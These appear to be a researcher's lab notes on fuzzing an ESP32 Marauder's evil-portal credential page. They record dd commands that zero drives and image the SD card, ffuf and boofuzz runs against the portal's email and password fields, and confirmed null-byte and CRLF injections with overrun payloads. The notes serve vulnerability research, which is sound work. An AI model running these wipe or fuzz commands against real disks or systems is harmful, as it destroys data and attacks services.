sudo dd if=/dev/sdX of=/home/kali/marauderexploitdev/imgs/full-sdcard-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
|
||||
tasync
|
||||
1) zero out
|
||||
2) sanity checks/progression
|
||||
zeroed out drive for all 0s and filesize should be exact:
|
||||
sudo dd if=/dev/zero of=/dev/sdX status=progress bs=32M conv=fdatasync
|
||||
4MB Dump:
|
||||
sudo dd if=/dev/sda of=/home/kali/marauderexploitdev/imgs/1-first-4MB-zerored
|
||||
-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=512 count=8192 status=progress conv=fdatasync
|
||||
hexdump reveals all zeros in 0-first-4M-sdcard-marauder_23092024-00.28.15-UTC.img
|
||||
after create partition table:
|
||||
4MB Dump:
|
||||
sudo dd if=/dev/sda of=/home/kali/marauderexploitdev/imgs/1-first-4MB-mbr-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=512 count=8192 status=progress conv=fdatasync
|
||||
after creating partitions:
|
||||
4MB Dump:
|
||||
sudo dd if=/dev/sda of=/home/kali/marauderexploitdev/imgs/2-first-4MB-created-partitions-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=5122 count=8192 status=progress conv=fdatasync
|
||||
|
||||
Primary
|
||||
Number 1
|
||||
First sector (2048-60579839, default 2048):
|
||||
Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-60579839, default 60579839)
|
||||
W95 FAT32
|
||||
|
||||
Disk /dev/sda: 28.89 GiB, 31016878080 bytes, 60579840 sectors
|
||||
Disk model: Storage Device
|
||||
Units: sectors of 1 * 512 = 512 bytes
|
||||
Sector size (logical/physical): 512 bytes / 512 bytes
|
||||
I/O size (minimum/optimal): 512 bytes / 512 bytes
|
||||
Disklabel type: dos
|
||||
Disk identifier: 0x85cf894c
|
||||
|
||||
Device Boot Start End Sectors Size Id Type
|
||||
/dev/sda1 2048 60579839 60577792 28.9G b W95 FAT32
|
||||
after create filesystem:
|
||||
Full Dump:
|
||||
byobu
|
||||
sudo dd if=/dev/sdb of=/home/kali/marauderexploitdev/imgs/3-full-created-filesystem-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
|
||||
after mount:
|
||||
sudo mkdir /mnt/maraudersd
|
||||
sudo mount /dev/sdX1 /mnt/maraudersd
|
||||
4MB Dump:
|
||||
sudo dd if=/dev/sda of=/home/kali/marauderexploitdev/imgs/4-first-4MB-mounted-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=8192 count=512 status=progress conv=fdatasync
|
||||
after a text file is added:
|
||||
4MB Dump:
|
||||
sudo dd if=/dev/sda of=/home/kali/marauderexploitdev/imgs/5-first-4MB-textfile-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=8192 count=512 status=progress conv=fdatasync
|
||||
after a dir and text file are added:
|
||||
4MB Dump:
|
||||
sudo dd if=/dev/sda of=/home/kali/marauderexploitdev/imgs/6-first-4MB-dir-textfile-marauder_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=8192 count=512 status=progress conv=fdatasync
|
||||
re-zero, remake parts, repeat 0-3
|
||||
sanity check
|
||||
after booting marauder:
|
||||
Full Dump:
|
||||
sudo dd if=/dev/sdb of=/home/kali/marauderexploitdev/imgs/4-marauder-boot-reboot-sdb_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
|
||||
add evil portal stuff
|
||||
Full Dump:
|
||||
sudo dd if=/dev/sdb of=/home/kali/marauderexploitdev/imgs/5-evil-portal-files-added-sdb_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress
|
||||
after logging fron evilportal:
|
||||
Full Dump:
|
||||
sudo dd if=/dev/sdb of=/home/kali/marauderexploitdev/imgs/6-evil-portal-files-logged-sdb_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
|
||||
after breaking chars from fuzzing evil portal 0x00-0xFF:
|
||||
sudo dd if=/dev/sdb of=/home/kali/marauderexploitdev/imgs/7-evil-portal-fuzzed-0x00-0xFF-sdb_`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
|
||||
|
||||
Full setup auto: #prose kinda
|
||||
#!/bin/bash
|
||||
date=`date "+%d%m%Y-%H.%M.%S-%Z"`
|
||||
lsblk
|
||||
echo "Enter drive (sdX only no /dev/)
|
||||
read drive
|
||||
echo "Zeroing Out"
|
||||
sudo dd if=/dev/zero of=/dev/$drive status=progress bs=32M conv=fdatasync # much faster this way
|
||||
echo "Dumping Zeroed Out Drive $drive to /home/kali/marauderexploitdev/imgs/0-full-zeroed-$drive_$date.img"
|
||||
sudo dd if=/dev/$drive of=/home/kali/marauderexploitdev/imgs/0-full-zeroed-$drive_$date.img bs=32M status=progress conv=fdatasync
|
||||
echo "Creating MBR/Partition Table"
|
||||
echo "o then w"
|
||||
sudo fdisk /dev/$drive
|
||||
echo "Dumping Full Partition Table/MBR Drive $drive to /home/kali/marauderexploitdev/imgs/1-full-partition-table-mbr-$drive_$date.img"
|
||||
sudo dd if=/dev/$drive of=/home/kali/marauderexploitdev/imgs/1-full-partition-table-mbr-$drive_$date.img bs=32M status=progress
|
||||
echo "Creating Partitions"
|
||||
echo "n (all defaults), t, b, p, w"
|
||||
sudo fdisk /dev/$drive
|
||||
echo "Dumping Partitioned Drive $drive to /home/kali/marauderexploitdev/imgs/2-partitioned-$drive_$date.img"
|
||||
sudo dd if=/dev/$drive of=/home/kali/marauderexploitdev/imgs/2-partitioned-$drive_$date.img bs=32M status=progress
|
||||
echo "Creating Filessytem"
|
||||
sudo mkfs.vfat -F 32 -n MARAUDLABEL /dev/$drive
|
||||
echo "Dumping Fullly Formatted Disk $drive to /home/kali/marauderexploitdev/imgs/3-formatted-$drive_$date.img"
|
||||
sudo dd if=/dev/$drive of=/home/kali/marauderexploitdev/imgs/3-formatted-$drive_$date.img bs=32M status=progress
|
||||
"Mounting"
|
||||
sudo mkdir /mnt/MARAUDLABEL
|
||||
sudo mount /dev/$drive1 /mnt/MARAUDLABEL
|
||||
sudo umount /mnt/MARAUDLABEL
|
||||
echo "Dumping Mounted Then Unmounted Disk $disk to /home/kali/marauderexploitdev/imgs/4-mounted-unmounted-$drive_$date.img"
|
||||
|
||||
|
||||
WORKFLOW:
|
||||
Pi5-USB:
|
||||
byobu
|
||||
lsblk
|
||||
export disk=sdX
|
||||
|
||||
zero:
|
||||
sudo dd if=/dev/zero of=/dev/$disk status=progress bs=1M count=4K conv=fdatasync
|
||||
mbr/partition table:
|
||||
sudo fdisk /dev/$disk
|
||||
o # "create a new empty MBR (DOS) partition table
|
||||
w # write
|
||||
create partitions:
|
||||
sudo fdisk /dev/$disk
|
||||
n # "new" "add a new partition"
|
||||
(select all defaults)
|
||||
t # "type" "change a partition type"
|
||||
b # "0b" "W95 FAT32"
|
||||
p # show partition info
|
||||
w # write
|
||||
# create filesystem:
|
||||
# sudo mkfs.vfat -F 32 -n MARAUDERSD "/dev/${disk}1"
|
||||
mount:
|
||||
./mount-marauder-sd $disk
|
||||
# sudo mount /dev/($disk)1 /mnt/MARAUDLABEL
|
||||
add needed files:
|
||||
# sudo mkdir /mnt/MARAUDLABEL/scripts
|
||||
sudo cp marauder_cyd_microsd/index.html /mnt/MARAUDLABEL/
|
||||
sudo cp marauder_cyd_microsd/ap.config.txt /mnt/MARAUDLABEL/
|
||||
umount:
|
||||
./umount-marauder-sd
|
||||
# sudo umount /mnt/MARAUDLABEL
|
||||
full dump:
|
||||
sudo dd if=/dev/$disk of=/home/kali/marauderexploitdev/imgs/<n>-<activity>-full-dump-$dis
|
||||
k-`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
|
||||
partial dump:
|
||||
sudo dd if=/dev/$disk of=/home/kali/marauderexploitdev/imgs/2-incremental-overrun-partial-dump-32MB-sda-`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=1M count=32 status=progress conv=fdatasync
|
||||
Pi4-Ether:
|
||||
byobu
|
||||
cd ~/marauddev
|
||||
source boofuzz/env/bin/activate
|
||||
# stored note in pyenv.txt
|
||||
connect to wifi:
|
||||
./connect-wifi
|
||||
hex chars fuzz:
|
||||
python hex-chars-fuzzing.py
|
||||
boofuzz fuzz:
|
||||
python boofuzz-email-password.py
|
||||
# web status hosted at http://10.0.0.79:26000
|
||||
# results in boofuzz-results
|
||||
# clean results with rm boofuzz-results/*
|
||||
open previous results:
|
||||
boo open --ui-addr 10.0.0.79 --ui-port 26000 boofuzz-results/XYZ.db
|
||||
# opens web interface at http://10.0.0.79:26000
|
||||
MarauderCYD SD:
|
||||
/ap.config.txt # one line ex "Guest-Wifi"
|
||||
/index.html # for default evilportal
|
||||
/*.html # files for selection
|
||||
MarauderCYD:
|
||||
with wifi selections:
|
||||
WIfI->General->Select EP HTML File->X
|
||||
with one html file:
|
||||
WiFi->Attacks-Evil Portal
|
||||
hexdumps:
|
||||
hexdump <files>
|
||||
xxd --offset <hex> --len <hex> <input filename> > <output filename> # <output filename>
|
||||
|
||||
# todo
|
||||
dump full zeroed:
|
||||
sudo dd if=/dev/$disk of=/home/kali/marauderexploitdev/imgs/1-zeroed-full-dump-$disk-`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
|
||||
sanity check with hexdump
|
||||
dump with filesystem and minimal
|
||||
sudo dd if=/dev/$disk of=/home/kali/marauderexploitdev/imgs/1-filesystem-minimal-files-full-dump-$dis
|
||||
k-`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
|
||||
sanity check with hexdump
|
||||
dump after logging nominal email/passwords
|
||||
ffuf -w /usr/share/wordlists/john.lst -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 4 -t 1
|
||||
sudo dd if=/dev/$disk of=/home/kali/marauderexploitdev/imgs/1-logged-nominal-full-dump-$disk-`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
|
||||
investigate:
|
||||
hd imgs/1-logged-nominal-full-dump-sda-23092024-13.19.02-UTC.img > 1-logged-nominal-f
|
||||
ull-dump-sda-23092024-13.19.02-UTC.img.hex
|
||||
# hd is hexdump -c, normal canonical dump with decode
|
||||
resume fuzzing:
|
||||
ffuf -w /usr/share/wordlists/seclists/Fuzzing/big-list-of-naughty-strings.txt -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 4 -t 3
|
||||
mount
|
||||
dump
|
||||
reset
|
||||
python hex-chars-fuzzing.py
|
||||
mount
|
||||
check
|
||||
umount
|
||||
dump
|
||||
hd
|
||||
reset
|
||||
python boo0fuzz-email-password.py
|
||||
mount
|
||||
check
|
||||
umount
|
||||
dump
|
||||
hd
|
||||
reset
|
||||
|
||||
injections:
|
||||
confirmed:
|
||||
nullbyte
|
||||
crlf
|
||||
possible:
|
||||
nullbytes(s)+some other bytes to break filesystem
|
||||
incremental overrun:
|
||||
Running 1489/10000 chars (X)
|
||||
Prepend:
|
||||
Append:
|
||||
Outfile: fuzzing-results/chars-10000-23092024-12.37.24.txt
|
||||
len = 1489
|
||||
payload = "%00"*len
|
||||
payload = "%FF"*len
|
||||
|
||||
|
||||
|
||||
Fuzzers:
|
||||
prerequisites:
|
||||
cd ~/marauddev
|
||||
source boofuzz/env/bin/activate
|
||||
./connect-wifi./
|
||||
incremental buffer overrun:
|
||||
python incremental-buff-overrun.py
|
||||
hex chars fuzzing:
|
||||
python hex-chars-fuzzing.py
|
||||
boofuzz var fuzz:
|
||||
python boofuzz-email-password.py
|
||||
# opens web monitor on http://10.0.0.79:26000
|
||||
open previous results:
|
||||
boo open --ui-addr 10.0.0.79 --ui-port 26000 boofuzz-results/XYZ.db
|
||||
# opens web interface at http://10.0.0.79:26000
|
||||
nominal entries:
|
||||
ffuf -w /usr/share/wordlists/john.lst -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 4 -t 2
|
||||
|
||||
|
||||
|
||||
# Disk reset scriptttt
|
||||
|
||||
#!/bin/bash
|
||||
mountpoint=/mnt/MARAUDLABEL/
|
||||
gb_to_zero=1
|
||||
|
||||
echo "WILL WIPE DISK USE WITH CARE"
|
||||
|
||||
echo -e "\nListing Disks"
|
||||
lsblk
|
||||
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
|
||||
read disk
|
||||
block=/dev/$disk
|
||||
echo -e "\nZeroing ${gb_to_zero}GB on Disk $block"
|
||||
sudo dd if=/dev/zero of=$block status=progress bs=1M count="${gb_to_zero}K" conv=fdatasync
|
||||
echo -e "\nCreating Partitions on $block"
|
||||
sudo echo ',,b;' | sudo sfdisk $block
|
||||
echo -e "\n\nEnter Disk (e.x. sda1 or sdb1)"
|
||||
lsblk
|
||||
read part
|
||||
partition="/dev/${part}"
|
||||
echo -e "\nMaking FAT32 Filesystem on $partition"
|
||||
sudo mkfs.vfat -F 32 -n MARAUDERSD $partition
|
||||
echo -e "\n$block Status:"
|
||||
sudo sfdisk -l $block
|
||||
echo -e "\nMounting $partition at $mountpoint"
|
||||
sudo mount $partition $mountpoint
|
||||
echo -e "\nCopying Minimal Files"
|
||||
sudo cp marauder_cyd_microsd/index.html $mountpoint
|
||||
sudo cp marauder_cyd_microsd/ap.config.txt $mountpoint
|
||||
echo -e "\nListing"
|
||||
ls -lah $mountpoint
|
||||
echo -e "\numounting $partition from $mountpoint"
|
||||
sudo umount $mountpoint
|
||||
echo -e "\n\nYou May Now Use on Marauder"
|
||||
|
||||
# dump scripptttt
|
||||
|
||||
#!/bin/bash
|
||||
number=2
|
||||
tag=incremental-overrun-nullbyte
|
||||
blocks=32
|
||||
blocksize=1M
|
||||
dumpsize=32M
|
||||
|
||||
|
||||
|
||||
echo -e "\nListing Disks"
|
||||
lsblk
|
||||
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
|
||||
read disk
|
||||
block=/dev/$disk
|
||||
|
||||
timestamp=$(date "+%d%m%Y-%H.%M.%S-%Z")
|
||||
|
||||
filename="/home/kali/marauderexploitdev/imgs/${number}-${tag}-${dumpsize}-${timestamp}.img"
|
||||
|
||||
echo "sudo dd if=$block of=$filename bs=$blocksize count=$blocks status=progress conv=fdatasync"
|
||||
|
||||
ffuf -input-cmd 'dd bs=1 count=1K if=/dev/urandom' -u "http://10.0.0.80/get.php?email=FUZZ&password=FUZZ" -input-num 2000 -mc all -timeout 3 -v -ignore-body -sa -t 256 -rate 10
|
||||
Reference in New Issue
Block a user